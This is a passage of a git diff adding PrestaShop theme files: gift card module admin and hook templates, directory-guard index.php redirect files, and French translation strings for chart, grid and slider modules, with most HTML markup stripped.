        + +
        + {foreach from=$languages item=language} + {if $languages|count > 1} +
        +
        +
        + {/if} + + + {if $languages|count > 1} +
        +
        + + +
        +
        +
        + {/if} + + {/foreach} +
        +
        + {/if} + {/foreach} + {/if} + {if $haveCustomColor} +

        {l s='Customizable color' mod='giftcard'}

        + {foreach from=$availablevars key=field item=v name=foo} + {if $field|strstr:"var_color"} +
        + +
        +
        +
        +
        +
        + + +
        +
        +
        +
        +
        +
        + {/if} + {/foreach} + + {/if} + +
        +
        + {else} + {if !$imagick}

        {l s='The personalization feature requires php imagick extension, this extension is not present on your server.' mod='giftcard'}

        {/if} + + +
        getFieldValue($currentObject, 'usecustom')|intval && $imagick} style="display:none"{/if}> +
        +
        +
        +
        +
        +
        + +
        +
        +
        +

        {l s='Data variable' mod='giftcard'}

        + + {if isset($availablevars['giftcard_price']) || isset($availablevars['giftcard_code'])} + {if isset($availablevars['giftcard_price'])} + + + + + {/if} + {if isset($availablevars['giftcard_code'])} + + + + + {/if} + {/if} +
        {l s='Price' mod='giftcard'} + +
        {l s='Discount code' mod='giftcard'} + +
        + {if $haveCustomText} +

        {l s='Customizable text' mod='giftcard'}

        + + {foreach from=$availablevars key=field item=v} + {if $field|strstr:"var_text"} + + + + {/if} + {/foreach} +
        +
        + {foreach from=$languages item=language} +
        + + * +
        + {/foreach} +
        +
        + {/if} + {if $haveCustomColor} +

        {l s='Customizable color' mod='giftcard'}

        + + {foreach from=$availablevars key=field item=v name=foo} + {if $field|strstr:"var_color"} + + + + + {/if} + {/foreach} +
        {$field|escape:'htmlall'} + +
        + {/if} + {if $haveCustomText} +

        {l s='Preview' mod='giftcard'}

        + + + + + +
        {l s='The Language used to preview' mod='giftcard'} + +
        + {/if} +
        + {l s='Preview' mod='giftcard'} +
        + +
        +
        +
        +{/if} \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card_template/helpers/form/form.tpl b/themes/default/modules/giftcard/views/templates/admin/gift_card_template/helpers/form/form.tpl new file mode 100755 index 0000000..6a53ac2 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card_template/helpers/form/form.tpl @@ -0,0 +1,82 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} +{if $ps_version <= "1.6" } + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +{/if} +
        +

        {l s='Gift Card template' mod='giftcard'}

        + +
        + {if $currentObject->id}{/if} + +
        + {if $ps_version < "1.6" }

        {l s='Template information' mod='giftcard'}

        {/if} +
        + {include file='../../informations.tpl'} +
        +
        + {if $ps_version < "1.6" }

        {l s='Customize template' mod='giftcard'}

        {/if} +
        + {include file='../../customize.tpl'} +
        + {if $ps_version >= "1.6" } + + {else} + + {/if} + +
        +{if $ps_version >= "1.6" } + {include file="footer_toolbar.tpl"} +{/if} +
        + + diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card_template/helpers/form/index.php b/themes/default/modules/giftcard/views/templates/admin/gift_card_template/helpers/form/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card_template/helpers/form/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card_template/helpers/index.php b/themes/default/modules/giftcard/views/templates/admin/gift_card_template/helpers/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card_template/helpers/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card_template/index.php b/themes/default/modules/giftcard/views/templates/admin/gift_card_template/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card_template/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/gift_card_template/informations.tpl b/themes/default/modules/giftcard/views/templates/admin/gift_card_template/informations.tpl new file mode 100755 index 0000000..a7b1e71 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/gift_card_template/informations.tpl @@ -0,0 +1,307 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + * + *} + {*** PSVERSION >= 1.6 ***} + {if $ps_version >= 1.6} +
        + +
        + {foreach from=$languages item=language} + {if $languages|count > 1} +
        +
        +
        + {/if} + + {if $languages|count > 1} +
        +
        + + +
        +
        +
        + {/if} + {/foreach} +
        +
        +
        + +
        + {if $languages|count > 1} +
        + {/if} + {foreach from=$languages item=language} + {literal} + + {/literal} + {if $languages|count > 1} +
        +
        + {/if} + + {if $languages|count > 1} +
        +
        + + +
        +
        + {/if} + {/foreach} + {if $languages|count > 1} +
        + {/if} +
        +
        +
        + +
        +
        + +
        +
        +
        +
        + +
        + + {if isset($image_template.image) && $image_template.image} + {$image_template.image} + {/if} +
        +
        + +
        + +
        + + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if}/> + + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + + + +
        +
        +{if isset($asso_shops)} +
        + +
        {$asso_shops}
        +
        +{/if} + {else} + + + + + + + + + + + + + + + + {if isset($asso_shops)} + + + + + {/if} + + + +
        + +
        +
        + {foreach from=$languages item=language} +
        + + * +
        + {/foreach} +
        +

        {l s='This will be displayed in template list.' mod='giftcard'}

        +
        +
        + +
        +
        + {foreach from=$languages item=language} +
        + {literal} + + {/literal} + + {l s='Forbidden characters:' mod='giftcard'} !<;>;?=+#"°{}_$%  +
        + {/foreach} +
        +

        {l s='Tags separated by commas (e.g. birthday, valentine, heart,organization,...)' mod='giftcard'}

        +
        +
        + +
        + +

        {l s='If you select a language, the model will be displayed only in this language' mod='giftcard'}

        +
        +
        + +
        + +

        {l s='Upload a image from your computer.' mod='giftcard'}

        + {if isset($image_template.image) && $image_template.image} +
        + {$image_template.image} +

        {l s='File size' mod='giftcard'} {$image_template.size}kb

        +
        +

        + {/if} +
        +
        + {l s='Choose shop association:' mod='giftcard'} + {$asso_shops}
        + +
        +    + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + +    + getFieldValue($currentObject, 'active')|intval}checked="checked"{/if} /> + +
        +
        +{/if} + \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/admin/index.php b/themes/default/modules/giftcard/views/templates/admin/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/admin/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/front/index.php b/themes/default/modules/giftcard/views/templates/front/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/front/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/hook/admin_order.tpl b/themes/default/modules/giftcard/views/templates/hook/admin_order.tpl new file mode 100755 index 0000000..6a67abe --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/hook/admin_order.tpl @@ -0,0 +1,240 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} + + +{if (isset($giftcardsorder) && $giftcardsorder && ($giftcardsorder|@count) > 0)} + +{if $ps_version >= '1.6'} +
        +

        + + {l s='Gift Card purchased' mod='giftcard'} +

        +{else} +
        +
        + {l s='Gift Card purchased' mod='giftcard'} +{/if} + {foreach from=$giftcardsorder item=giftcardorder} + {if !$currentState->logable && ($giftcardorder.status=='CREATED')} + {if isset($giftcardorder.used_order) && $giftcardorder.used_order>0} + {if $ps_version >= '1.6'} +
        +
          + {l s='The gift card %1$s with code %2$s is used but the order is cancel' mod='giftcard' sprintf=[$giftcardorder.cart_rule_name,$giftcardorder.discountcode]} +
        +
        + {else} +

        {l s='The gift card %1$s with code %2$s is used but the order is cancel' mod='giftcard' sprintf=[$giftcardorder.cart_rule_name,$giftcardorder.discountcode]}

        + {/if} + {else} + {if $ps_version >= '1.6'} +
        +
          + {l s='The gift card %1$s with code %2$s must be cancel because the order is cancel' mod='giftcard' sprintf=[$giftcardorder.cart_rule_name,$giftcardorder.discountcode]} +
        +
        + {else} +

        {l s='The gift card %1$s with code %2$s must be cancel because the order is cancel' mod='giftcard' sprintf=[$giftcardorder.cart_rule_name,$giftcardorder.discountcode]}

        + {/if} + {/if} + {/if} + {/foreach} +
        + + +
        +
        + + +
        + {foreach from=$errors item=error} + {if $ps_version >= '1.6'} +
        +
          + {$error} +
        +
        + {else} +

        {$error}

        + {/if} + {/foreach} + {foreach from=$infos item=info} + {if $ps_version >= '1.6'} +
        +
          + {$info} +
        +
        + {else} +

        {$info}

        + {/if} + {/foreach} + + + + + + + + + + + + + + + + + + + + {foreach from=$giftcardsorder item=giftcardorder} + + + + + + + + + {/foreach} + +
        {l s='Amount reduction' mod='giftcard'}{l s='Code' mod='giftcard'}{l s='Qty' mod='giftcard'}{l s='Active' mod='giftcard'}{l s='Status' mod='giftcard'}
        {displayPrice price=$giftcardorder.price currency=$giftcardorder.id_currency}{$giftcardorder.discountcode|escape}{$giftcardorder.voucher_qty|intval}{if isset($giftcardorder.voucher_active)} + {if $giftcardorder.voucher_active} + {l s='enabled' mod='giftcard'} + {else} + {l s='disabled' mod='giftcard'} + {/if} + {else}? + {/if} + {if $giftcardorder.status eq 'CREATED'} + {if isset($giftcardorder.used_order) && (int)$giftcardorder.used_order>0 } + + {l s='Used in order #%s' mod='giftcard' sprintf=$giftcardorder.used_order} + {l s='view' mod='giftcard'} + + {else} + {l s='Unused' mod='giftcard'} + {/if} + {else} + {if $giftcardorder.status eq 'WAIT'} + {l s='Waiting valid order' mod='giftcard'} + {elseif $giftcardorder.status eq 'CANCEL'} + {l s='Canceled' mod='giftcard'} + {elseif $giftcardorder.status eq 'ERROR'} + {l s='Error' mod='giftcard'} + {/if} + {/if} + + {if $giftcardorder.status eq 'CREATED'} + + {l s='View pdf' mod='giftcard'} +  {if !($ps_version >= '1.6')}
        {/if} + {/if} + {if isset($giftcardorder.used_order) && $giftcardorder.used_order>0} + {l s='Card used no action available' mod='giftcard'} + {else} + {if $giftcardorder.status eq 'CREATED' || $giftcardorder.status eq 'WAIT'} + + {if $ps_version >= '1.6'}{/if} + {l s='Cancel this gift card' mod='giftcard'} + {elseif $giftcardorder.status eq 'CANCEL' && $giftcardorder.voucher_qty > 0} + + {if $ps_version >= '1.6'}{/if} + {l s='Actived this gift card' mod='giftcard'} + + {/if} + {/if} +
        +{if $ps_version >= '1.6'} +
        +{else} + +{/if} +{/if} +{if (isset($purchaseorders) && $purchaseorders && ($purchaseorders|@count) > 0)} +{if $ps_version >= '1.6'} +
        +

        + + {l s='Gift card used' mod='giftcard'} +

        +{else} +
        +
        + {l s='Gift card used' mod='giftcard'} +{/if} + {foreach from=$purchaseorders item=purchaseorder} + {if !$purchaseorder.status_logable} + {if $ps_version >= '1.6'} +
        +
          + {l s='The customer used card %1$s with code %2$s but the purchase order #%3$s is canceled' mod='giftcard' sprintf=[$purchaseorder.cart_rule_name,$purchaseorder.discountcode,$purchaseorder.id_order]} +
        +
        + {else} +

        {l s='The customer used card %1$s with code %2$s but the purchase order #%3$s is canceled' mod='giftcard' sprintf=[$purchaseorder.cart_rule_name,$purchaseorder.discountcode,$purchaseorder.id_order]}

        + {/if} + {/if} + {/foreach} +

        {l s='The customer used a gift card in this order, you can see from the list, the purchase order associated with this gift card' mod='giftcard'}

        + + + + + + + + + + + + {foreach from=$purchaseorders item=purchaseorder} + + + + + + + {/foreach} + +
        {l s='Name' mod='giftcard'}{l s='Date order' mod='giftcard'}{l s='Id Order' mod='giftcard'}{l s='Order Status' mod='giftcard'}
        {$purchaseorder.cart_rule_name|escape}{dateFormat date=$purchaseorder.date_add full=1}# {$purchaseorder.id_order|intval} + {l s='view' mod='giftcard'}{$purchaseorder.status_name}
        +{if $ps_version >= '1.6'} +
        +{else} + +{/if} +{/if} \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/hook/blockgiftcard.tpl b/themes/default/modules/giftcard/views/templates/hook/blockgiftcard.tpl new file mode 100755 index 0000000..2076545 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/hook/blockgiftcard.tpl @@ -0,0 +1,24 @@ +{* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} +
        +  

        {l s='Offer a gift card' mod='giftcard'}

        +     +
        \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/hook/index.php b/themes/default/modules/giftcard/views/templates/hook/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/hook/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/hook/payment.tpl b/themes/default/modules/giftcard/views/templates/hook/payment.tpl new file mode 100755 index 0000000..e47c363 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/hook/payment.tpl @@ -0,0 +1,30 @@ +

        + + {l s='Pay by gift card' mod='giftcard'} + +

        + \ No newline at end of file diff --git a/themes/default/modules/giftcard/views/templates/index.php b/themes/default/modules/giftcard/views/templates/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/modules/giftcard/views/templates/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/modules/graphartichow/translations/en.php b/themes/default/modules/graphartichow/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/graphartichow/translations/fr.php b/themes/default/modules/graphartichow/translations/fr.php new file mode 100755 index 0000000..1a761ea --- /dev/null +++ b/themes/default/modules/graphartichow/translations/fr.php @@ -0,0 +1,6 @@ +graphartichow_6b1e6241446c46f7ab8d28ae83d53e71'] = 'Artichow'; +$_MODULE['<{graphartichow}default>graphartichow_f2f747178b068abc9cbeac03d93480e6'] = 'Artichow est une bibliothèque qui permet d\'afficher des graphiques simples utilisant PHP et GD.'; diff --git a/themes/default/modules/graphgooglechart/translations/en.php b/themes/default/modules/graphgooglechart/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/graphgooglechart/translations/fr.php b/themes/default/modules/graphgooglechart/translations/fr.php new file mode 100755 index 0000000..4c6358f --- /dev/null +++ b/themes/default/modules/graphgooglechart/translations/fr.php @@ -0,0 +1,6 @@ +graphgooglechart_b3b8abce7e542a30dc415f612d4e0f23'] = 'Google Chart'; +$_MODULE['<{graphgooglechart}default>graphgooglechart_e01118a336bd13f2f0e70bf7178c1fdc'] = 'L\'API Google Chart permet de générer dynamiquement des graphiques.'; diff --git a/themes/default/modules/graphvisifire/translations/en.php b/themes/default/modules/graphvisifire/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/graphvisifire/translations/fr.php b/themes/default/modules/graphvisifire/translations/fr.php new file mode 100755 index 0000000..1b13e07 --- /dev/null +++ b/themes/default/modules/graphvisifire/translations/fr.php @@ -0,0 +1,6 @@ +graphvisifire_46495d329b07c973daa82a7a9c084d6b'] = 'Visifire'; +$_MODULE['<{graphvisifire}default>graphvisifire_8fb4e2a61c48721ee73f9b9189fd19e1'] = 'Visifire est un pack de composants open-source permettant de visualiser graphiquement des données. Il utilise la technologie Microsoft Silverlight 2 beta 2.'; diff --git a/themes/default/modules/graphxmlswfcharts/translations/en.php b/themes/default/modules/graphxmlswfcharts/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/graphxmlswfcharts/translations/fr.php b/themes/default/modules/graphxmlswfcharts/translations/fr.php new file mode 100755 index 0000000..aa8dace --- /dev/null +++ b/themes/default/modules/graphxmlswfcharts/translations/fr.php @@ -0,0 +1,6 @@ +graphxmlswfcharts_fd1d6df8df2837bc1690e3ca9d84f502'] = 'XML/SWF Charts'; +$_MODULE['<{graphxmlswfcharts}default>graphxmlswfcharts_723f92861aa774c9d255e0b8c42c29e8'] = 'XML/SWF Charts est un outil simple mais puissant utilisant Adobe Flash pour créer des graphiques à partir de données dynamiques.'; diff --git a/themes/default/modules/gridhtml/translations/en.php b/themes/default/modules/gridhtml/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/gridhtml/translations/fr.php b/themes/default/modules/gridhtml/translations/fr.php new file mode 100755 index 0000000..de5d495 --- /dev/null +++ b/themes/default/modules/gridhtml/translations/fr.php @@ -0,0 +1,5 @@ +gridhtml_0429f31fd7dc2342b9b0f63d63c1e21d'] = 'Affichage HTML simple'; diff --git a/themes/default/modules/homefeatured/homefeatured.tpl b/themes/default/modules/homefeatured/homefeatured.tpl new file mode 100755 index 0000000..0e6b46a --- /dev/null +++ b/themes/default/modules/homefeatured/homefeatured.tpl @@ -0,0 +1,66 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/themes/default/modules/homeslider/homeslider.tpl b/themes/default/modules/homeslider/homeslider.tpl new file mode 100755 index 0000000..2f3801e --- /dev/null +++ b/themes/default/modules/homeslider/homeslider.tpl @@ -0,0 +1,172 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if isset($homeslider_slides)} + {if isset($HOOK_MOBILE_HEADER)} + + + + {else} + + + + {/if} +{/if} + diff --git a/themes/default/modules/homeslider/translations/en.php b/themes/default/modules/homeslider/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/homeslider/translations/fr.php b/themes/default/modules/homeslider/translations/fr.php new file mode 100755 index 0000000..3e93571 --- /dev/null +++ b/themes/default/modules/homeslider/translations/fr.php @@ -0,0 +1,56 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}default>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}default>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}default>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}default>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}default>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}default>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}default>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}default>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}default>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}default>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}default>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}default>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; +$_MODULE['<{homeslider}default>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}default>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}default>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}default>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}default>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}default>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}default>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}default>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}default>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}default>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}default>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}default>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}default>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}default>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}default>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}default>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}default>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}default>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}default>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}default>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}default>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}default>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}default>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}default>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}default>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}default>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}default>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}default>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}default>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}default>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}default>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}default>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}default>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}default>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}default>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}default>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}default>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}default>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}default>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/themes/default/modules/mailalerts/mails/en/customer_qty.html b/themes/default/modules/mailalerts/mails/en/customer_qty.html new file mode 